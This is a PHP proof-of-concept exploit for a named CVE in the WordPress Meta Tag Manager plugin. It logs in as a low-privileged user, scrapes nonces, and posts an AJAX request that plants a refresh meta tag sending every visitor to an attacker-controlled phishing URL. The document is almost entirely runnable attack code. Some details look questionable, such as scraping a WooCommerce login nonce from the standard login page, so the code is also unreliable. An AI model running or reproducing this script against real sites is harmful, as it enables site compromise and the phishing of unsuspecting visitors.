<?php
/**
* CVE-2025-5983 - Meta Tag Manager Plugin Exploit PoC
* Vulnerability: Missing role restriction on http-equiv refresh meta tag creation
* Affected: Meta Tag Manager < 3.3
*
* This PoC demonstrates how a low-privileged user can create
* a malicious http-equiv refresh meta tag through the plugin's API.
*/
// Target WordPress site
$target_url = 'https://target-wordpress-site.com';
$username = 'low_priv_user'; // Subscriber or Author role
$password = 'user_password';
// Step 1: Authenticate to WordPress (obtain nonce and cookies)
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
$login_page = curl_exec($ch);
// Extract login nonce
preg_match('/name="woocommerce-login-nonce" value="([a-f0-9]+)"/', $login_page, $matches);
$nonce = $matches[1] ?? '';
// Submit login credentials
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to'=> $target_url . '/wp-admin/',
'testcookie' => '1',
]));
curl_exec($ch);
// Step 2: Get admin nonce for meta tag manager AJAX action
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=meta-tag-manager');
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $admin_page, $nonce_matches);
$wp_nonce = $nonce_matches[1] ?? '';
// Step 3: Submit malicious http-equiv refresh meta tag via AJAX
$malicious_payload = [
'action' => 'save_meta_tags',
'_wpnonce' => $wp_nonce,
'meta_tags' => [
[
'http_equiv' => 'refresh',
'content' => '0;url=https://attacker-controlled-site.com/phishing',
]
],
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($malicious_payload));
$response = curl_exec($ch);
curl_close($ch);
echo "[*] Exploit completed. Response: " . $response . "\n";
echo "[*] All visitors will now be redirected to attacker-controlled URL\n";
?>